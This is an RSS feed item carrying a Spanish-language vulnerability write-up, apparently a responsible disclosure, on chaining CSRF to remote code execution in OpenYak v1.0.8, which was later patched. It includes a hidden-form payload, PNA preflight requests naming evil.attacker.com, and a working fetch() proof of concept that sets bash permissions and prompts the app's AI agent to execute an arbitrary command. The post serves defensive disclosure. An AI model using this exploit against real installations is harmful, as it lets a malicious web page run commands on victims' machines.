<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: arturo melgarejo</title>
    <description>The latest articles on Forem by arturo melgarejo (@arturo0x90).</description>
    <link>https://forem.com/arturo0x90</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3769054%2F736f8341-1b91-4541-99c5-19df42a24475.png</url>
      <title>Forem: arturo melgarejo</title>
      <link>https://forem.com/arturo0x90</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/arturo0x90"/>
    <language>en</language>
    <item>
      <title>De CSRF a RCE: una visita web cuesta una shell en OpenYak</title>
      <dc:creator>arturo melgarejo</dc:creator>
      <pubDate>Thu, 21 May 2026 18:53:01 +0000</pubDate>
      <link>https://forem.com/arturo0x90/de-csrf-a-rce-una-visita-web-cuesta-una-shell-en-openyak-410</link>
      <guid>https://forem.com/arturo0x90/de-csrf-a-rce-una-visita-web-cuesta-una-shell-en-openyak-410</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;OpenYak &lt;code&gt;v1.0.8&lt;/code&gt; arranca un servidor local en &lt;code&gt;127.0.0.1:19141&lt;/code&gt; sin autenticación, sin validación de &lt;code&gt;Origin&lt;/code&gt; y sin protección CSRF. Una sola visita a una web maliciosa basta para que un atacante remoto ejecute comandos arbitrarios en la máquina de la víctima a través del agente bash de la propia aplicación. Reportado al mantenedor, parcheado en &lt;code&gt;v1.1.3&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  0x01 — Por qué OpenYak
&lt;/h2&gt;

&lt;p&gt;Llevaba tiempo dándole vueltas a sentarme un fin de semana con un objetivo claro: encontrar &lt;strong&gt;una vulnerabilidad real en una aplicación real&lt;/strong&gt;. Nada de CTF, nada de laboratorios. Algo que la gente instala, ejecuta y deja corriendo en su máquina mientras navega.&lt;/p&gt;

&lt;p&gt;El criterio de selección fue corto:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Aplicación de escritorio&lt;/strong&gt; que exponga una API local. Esa superficie está históricamente mal cuidada.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Manejo de LLMs&lt;/strong&gt; — un dominio que conozco bien, donde sé qué buscar.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Base de usuarios suficiente&lt;/strong&gt; para que la investigación tenga impacto real.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;OpenYak cumplía las tres. Aplicación open-source, expone una API REST en &lt;code&gt;127.0.0.1:19141&lt;/code&gt;, gestiona chats con modelos de varios proveedores, y — la cereza del pastel — incluye un &lt;em&gt;agente&lt;/em&gt; capaz de ejecutar comandos &lt;code&gt;bash&lt;/code&gt;. El tipo de aplicación donde, si las cosas no están bien atadas, el premio es gordo.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx5so3m5g6yjuku13ook6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx5so3m5g6yjuku13ook6.png" alt="OpenYak en funcionamiento" width="800" height="211"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  0x02 — Reconocimiento
&lt;/h2&gt;

&lt;p&gt;Lo primero, lo de siempre: instalar, levantar Burp y mapear endpoints. Cuando una app local expone HTTP, el reconocimiento se vuelve trivial — todo el tráfico pasa por tu proxy.&lt;/p&gt;

&lt;p&gt;Lo que llamó mi atención casi de inmediato fue la &lt;strong&gt;ausencia total de cualquier mecanismo de autenticación&lt;/strong&gt;: nada de &lt;code&gt;Authorization&lt;/code&gt;, nada de cookies, nada de API keys, nada de tokens en headers. Cada request era un POST o GET limpio contra &lt;code&gt;localhost&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhxf79dfjyus6ayajfwb3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhxf79dfjyus6ayajfwb3.png" alt="Tráfico interceptado mostrando ausencia de autenticación" width="799" height="130"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Bonus: el servidor exponía Swagger en producción.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Método&lt;/th&gt;
&lt;th&gt;Endpoint&lt;/th&gt;
&lt;th&gt;Descripción&lt;/th&gt;
&lt;th&gt;Impacto inmediato&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;POST&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/shutdown&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Apaga el servidor&lt;/td&gt;
&lt;td&gt;🔴 DoS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;POST&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/api/chat/prompt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Envía prompt al agente con permisos configurables&lt;/td&gt;
&lt;td&gt;🔴 RCE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/api/sessions&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Lista sesiones activas&lt;/td&gt;
&lt;td&gt;🟠 Info disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/api/stream/{id}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Recupera el output del stream de respuesta&lt;/td&gt;
&lt;td&gt;🟠 Exfiltración&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/api/files/*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CRUD completo sobre el filesystem&lt;/td&gt;
&lt;td&gt;🔴 Lectura/escritura arbitraria&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;El que más me interesó fue &lt;code&gt;/api/chat/prompt&lt;/code&gt;. El payload aceptaba un campo &lt;code&gt;permission_presets&lt;/code&gt; donde el cliente — no el servidor — declaraba qué permisos tenía esa interacción. Entre ellos, &lt;code&gt;bash: true&lt;/code&gt;. Es decir: &lt;strong&gt;el cliente le dice al servidor qué puede hacer&lt;/strong&gt;. Esto, combinado con la ausencia de autenticación, ya no es un bug puntual: es un agujero de diseño.&lt;/p&gt;

&lt;p&gt;A primera vista, el problema parecía contenido. La API bindea a &lt;code&gt;127.0.0.1&lt;/code&gt;, así que un atacante remoto no puede llegar a ella &lt;em&gt;directamente&lt;/em&gt;. Pero esa frase contiene la trampa de siempre:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"&lt;em&gt;No puedo llegar desde fuera, ¿pero qué pasa si consigo que el navegador del usuario llegue por mí?&lt;/em&gt;"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  0x03 — Cuatro grietas que se convierten en una
&lt;/h2&gt;

&lt;p&gt;Esto no es un bug aislado. Es una cadena de decisiones de diseño que individualmente serían malas prácticas pero que, juntas, forman una superficie de ataque crítica.&lt;/p&gt;

&lt;h3&gt;
  
  
  Grieta #1 — Sin autenticación (CWE-306)
&lt;/h3&gt;

&lt;p&gt;El servidor no implementa ningún tipo de autenticación. Cualquier proceso o página web que pueda alcanzar &lt;code&gt;127.0.0.1:19141&lt;/code&gt; tiene acceso completo a todos los endpoints, con los privilegios del usuario que ejecuta la aplicación.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Si existiera &lt;strong&gt;cualquier&lt;/strong&gt; token de sesión, aunque fuera el más simple, los siguientes tres flaws serían inocuos. Esta es la raíz.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Grieta #2 — &lt;code&gt;Origin&lt;/code&gt; no se valida (CWE-346)
&lt;/h3&gt;

&lt;p&gt;El servidor no inspecciona el header &lt;code&gt;Origin&lt;/code&gt; de las requests entrantes. Una request originada desde &lt;code&gt;https://evil.attacker.com&lt;/code&gt; se procesa de forma idéntica a una originada desde la propia UI de OpenYak.&lt;/p&gt;

&lt;h3&gt;
  
  
  Grieta #3 — CORS ausente (CWE-942)
&lt;/h3&gt;

&lt;p&gt;No hay headers CORS configurados. El detalle clave que mucha gente pasa por alto: &lt;strong&gt;que el navegador bloquee la &lt;em&gt;lectura&lt;/em&gt; de la respuesta no implica que la request no se procese&lt;/strong&gt;. Para vectores como &lt;code&gt;POST /shutdown&lt;/code&gt; no necesito leer la respuesta — el daño está hecho en el momento en que el servidor recibe y atiende la petición. Y, como veremos en breve, lo mismo aplica al RCE.&lt;/p&gt;

&lt;h3&gt;
  
  
  Grieta #4 — Content-Type permisivo (CWE-352)
&lt;/h3&gt;

&lt;p&gt;El servidor acepta cualquier &lt;code&gt;Content-Type&lt;/code&gt;: &lt;code&gt;application/json&lt;/code&gt;, &lt;code&gt;text/plain&lt;/code&gt;, valores absurdos. Y aquí es donde la cadena se cierra: con &lt;code&gt;text/plain&lt;/code&gt; permitido, el camino al CSRF "clásico" via &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; HTML sin preflight CORS queda abierto. (Spoiler: en este caso concreto este punto no terminó siendo el vector definitivo, pero ya volveremos a esto.)&lt;/p&gt;

&lt;h3&gt;
  
  
  El cuadro completo
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Víctima abre evil.attacker.com en el navegador
           │
           ▼
  JS / form hace request a 127.0.0.1:19141
           │
           ▼
  API la procesa — no auth, no Origin check
           │
           ▼
  Agente AI ejecuta bash → RCE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  0x04 — El obstáculo: Private Network Access
&lt;/h2&gt;

&lt;p&gt;Aquí es donde la cosa se pone interesante.&lt;/p&gt;

&lt;p&gt;Chrome introdujo en 2021–2022 una mitigación llamada &lt;strong&gt;Private Network Access (PNA)&lt;/strong&gt; pensada precisamente para escenarios como este. La idea es simple: una página pública no debería poder hacer requests directas a &lt;code&gt;127.0.0.1&lt;/code&gt; o rangos privados sin autorización explícita del servidor de destino.&lt;/p&gt;

&lt;p&gt;PNA funciona con un preflight &lt;code&gt;OPTIONS&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;OPTIONS&lt;/span&gt; &lt;span class="nn"&gt;/&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;127.0.0.1:19141&lt;/span&gt;
&lt;span class="na"&gt;Origin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;https://evil.attacker.com&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Request-Private-Network&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Si el servidor local &lt;strong&gt;no&lt;/strong&gt; responde con:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Access-Control-Allow-Private-Network: true
Access-Control-Allow-Origin: https://evil.attacker.com
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;…el navegador bloquea la request real antes incluso de enviarla.&lt;/p&gt;

&lt;p&gt;OpenYak, evidentemente, no envía ese header. Lo cual, en teoría, debería protegerlo del ataque desde Chrome.&lt;/p&gt;

&lt;p&gt;En teoría.&lt;/p&gt;

&lt;h2&gt;
  
  
  0x05 — El camino al exploit (incluyendo lo que no funcionó)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Intento 1 — &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; con &lt;code&gt;enctype="text/plain"&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;El primer intento fue el truco clásico: un formulario HTML con &lt;code&gt;enctype="text/plain"&lt;/code&gt;, partiendo el JSON entre el atributo &lt;code&gt;name&lt;/code&gt; y &lt;code&gt;value&lt;/code&gt; del input para construir el body válido sin que el navegador lance preflight CORS.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"http://127.0.0.1:19141/api/chat/prompt"&lt;/span&gt;
      &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;
      &lt;span class="na"&gt;enctype=&lt;/span&gt;&lt;span class="s"&gt;"text/plain"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt;
         &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;'{"session_id":"pwn","text":"whoami","agent":"build","permission_presets":{"bash":true},"x":'&lt;/span&gt;
         &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;'1}'&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forms&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Resultado:&lt;/strong&gt; falla. Aunque el &lt;code&gt;Content-Type&lt;/code&gt; no estaba &lt;em&gt;validado&lt;/em&gt;, el parser del lado servidor terminaba fallando, y la concatenación &lt;code&gt;name=value&lt;/code&gt; introducía caracteres extra creo que rompían el parseo de JSON.&lt;/p&gt;

&lt;p&gt;Probablemente exista un bypass para este vector concreto (la combinatoria de cómo se interpretan &lt;code&gt;name&lt;/code&gt;/&lt;code&gt;value&lt;/code&gt; en &lt;code&gt;text/plain&lt;/code&gt; da bastante margen), pero a estas alturas ya tenía un camino más limpio en mente.&lt;/p&gt;

&lt;h3&gt;
  
  
  Intento 2 — DNS rebinding
&lt;/h3&gt;

&lt;p&gt;El siguiente movimiento natural fue probar DNS rebinding. Configuré un dominio (&lt;code&gt;loopback.creathem.one&lt;/code&gt;) que resuelve alternativamente a una IP pública y a &lt;code&gt;127.0.0.1&lt;/code&gt;. Este tipo de truco históricamente ha funcionado para evadir restricciones basadas en &lt;em&gt;origin&lt;/em&gt; y &lt;code&gt;host&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resultado:&lt;/strong&gt; falla de nuevo, esta vez por una razón distinta. PNA no decide en función del nombre del host, sino del &lt;em&gt;target IP space&lt;/em&gt; tras la resolución DNS. Chrome detecta que la respuesta DNS apunta a un rango privado y dispara el preflight PNA antes de la petición real. El servidor responde sin el header esperado y Chrome corta la conexión.&lt;/p&gt;

&lt;p&gt;Gracias a esta investigacion, he abierto otra para encontrar bypasses del PNA.&lt;/p&gt;

&lt;h3&gt;
  
  
  El movimiento final — Firefox
&lt;/h3&gt;

&lt;p&gt;A esta altura tocaba parar y replantear. ¿Qué supuestos había estado asumiendo?&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"&lt;em&gt;El target es Chrome.&lt;/em&gt;"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Pero &lt;strong&gt;Firefox no implementa PNA&lt;/strong&gt;. Y Firefox no es exactamente un navegador minoritario. Para confirmar la cadena completa con un PoC limpio basta con que la víctima visite la página maliciosa desde Firefox — y a partir de ahí todo el flujo funciona sin obstáculos.&lt;/p&gt;

&lt;p&gt;Vale la pena dejar tres puntos claros aquí:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;PNA tiene un historial de bypasses&lt;/strong&gt; desde su introducción. No es una mitigación que sustituya a las protecciones reales (auth + Origin validation). Es una &lt;em&gt;defensa en profundidad&lt;/em&gt;, y como tal, no debería ser el único muro.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;POST /shutdown&lt;/code&gt; se puede disparar desde cualquier navegador&lt;/strong&gt;, incluido Chrome, simplemente porque no requiere leer la respuesta y se dispara como &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; simple sin preflight especial. El DoS es universal.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cualquier otra vulnerabilidad SSRF en el sistema&lt;/strong&gt; (en otra aplicación instalada en la máquina, por ejemplo) que permita disparar peticiones HTTP arbitrarias termina enlazando contra OpenYak sin esfuerzo, saltándose PNA por completo.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  0x06 — PoC: visita una web, ejecuta un comando
&lt;/h2&gt;

&lt;p&gt;Con todas las piezas en su sitio, la PoC se reduce a esto:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// CSRF → RCE en OpenYak v1.0.8&lt;/span&gt;
&lt;span class="c1"&gt;// La víctima abre esta página en Firefox y el comando se ejecuta en su máquina.&lt;/span&gt;
&lt;span class="c1"&gt;// Nota: no necesitamos leer la respuesta — el daño está hecho en el momento&lt;/span&gt;
&lt;span class="c1"&gt;// en que el servidor procesa la request. CORS no nos molesta.&lt;/span&gt;

&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://127.0.0.1:19141/api/chat/prompt&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;session_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;pwned-session&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Ejecuta el siguiente comando: &amp;lt;CUALQUIER COMANDO&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;model&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;openai/gpt-4.1-mini&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;provider_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;openrouter&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;agent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;build&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;attachments&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;
    &lt;span class="na"&gt;permission_presets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;bash&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;   &lt;span class="c1"&gt;// 🚩 el cliente dicta los permisos&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tres detalles importantes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No leemos la respuesta.&lt;/strong&gt; No nos hace falta. En el momento en que el servidor recibe el prompt y el agente decide ejecutarlo, el RCE ya ocurrió. CORS y &lt;code&gt;mode: "no-cors"&lt;/code&gt; son irrelevantes para este vector.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No hay ninguna interacción adicional de la víctima.&lt;/strong&gt; Basta con que abra la página.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;El &lt;code&gt;permission_presets&lt;/code&gt; lo dicta el atacante.&lt;/strong&gt; El servidor honra alegremente lo que le diga el cliente.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fydmbryvo8lvskm3be6tj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fydmbryvo8lvskm3be6tj.png" alt="RCE confirmado — el agente ejecuta el comando inyectado" width="800" height="368"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnmr4wb6db1p90fsw85lw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnmr4wb6db1p90fsw85lw.png" alt="Output del comando llegando desde la máquina víctima" width="347" height="214"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Y las API keys?
&lt;/h3&gt;

&lt;p&gt;Por &lt;strong&gt;fortuna&lt;/strong&gt; (porque viendo el resto del diseño dudo seriamente que sea por elección consciente), el endpoint que lista los providers devuelve las API keys enmascaradas con asteriscos. Eso cierra una vía de exfiltración directa.&lt;/p&gt;

&lt;p&gt;Pero &lt;code&gt;/api/files/*&lt;/code&gt; sigue abierto. Listar, leer y escribir ficheros del sistema, todo sin autenticación. En una explotación realista, nada impide leer los ficheros de configuración donde las claves están almacenadas en disco — o, para no complicarse, dropear un binario y persistir.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwenyxpvnxsbs3xb1jk13.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwenyxpvnxsbs3xb1jk13.png" alt="Endpoints de /api/files/* expuestos sin autenticación" width="800" height="723"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  0x07 — Impacto
&lt;/h2&gt;

&lt;p&gt;Esta vulnerabilidad afecta a &lt;strong&gt;cualquier usuario de OpenYak &lt;code&gt;v1.0.8&lt;/code&gt; o anterior&lt;/strong&gt; que tenga la aplicación corriendo mientras navega.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vector&lt;/th&gt;
&lt;th&gt;Severidad&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;RCE completo via agente bash&lt;/td&gt;
&lt;td&gt;🔴 Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DoS instantáneo via &lt;code&gt;POST /shutdown&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;🔴 High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lectura/escritura arbitraria de ficheros&lt;/td&gt;
&lt;td&gt;🔴 Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exfiltración de historial de chats y sesiones&lt;/td&gt;
&lt;td&gt;🟠 High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Escalada a persistencia / movimiento lateral&lt;/td&gt;
&lt;td&gt;🔴 Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;En términos de complejidad, esto es nivel &lt;strong&gt;easy&lt;/strong&gt; de HackTheBox. No hay nada exótico — no hay heap, no hay race conditions, no hay primitivos extraños. Lo que lo hace crítico es el &lt;strong&gt;impacto&lt;/strong&gt;, no la dificultad.&lt;/p&gt;

&lt;h2&gt;
  
  
  0x08 — El fix
&lt;/h2&gt;

&lt;p&gt;Reporté la vulnerabilidad al mantenedor con writeup técnico completo y PoC. La respuesta fue rápida y profesional, y el fix llegó en &lt;code&gt;v1.1.3&lt;/code&gt; (commit &lt;code&gt;1c54ae3&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;La mitigación correcta:&lt;/p&gt;

&lt;p&gt;Validar &lt;code&gt;Origin&lt;/code&gt; a nivel de middleware ataca la grieta #2, que era la raíz explotable. La autenticación tambien se introdujo según el mantenedor.&lt;/p&gt;

&lt;h2&gt;
  
  
  0x09 — Timeline de disclosure
&lt;/h2&gt;

&lt;p&gt;El desarrollador lo resolvio casi instantaneamente.&lt;br&gt;
No obstante dejo bastante que desear a la hora de publicarlo y asignar CVE, tardo unas 5 semanas desde la publicación del parche.&lt;/p&gt;

&lt;h2&gt;
  
  
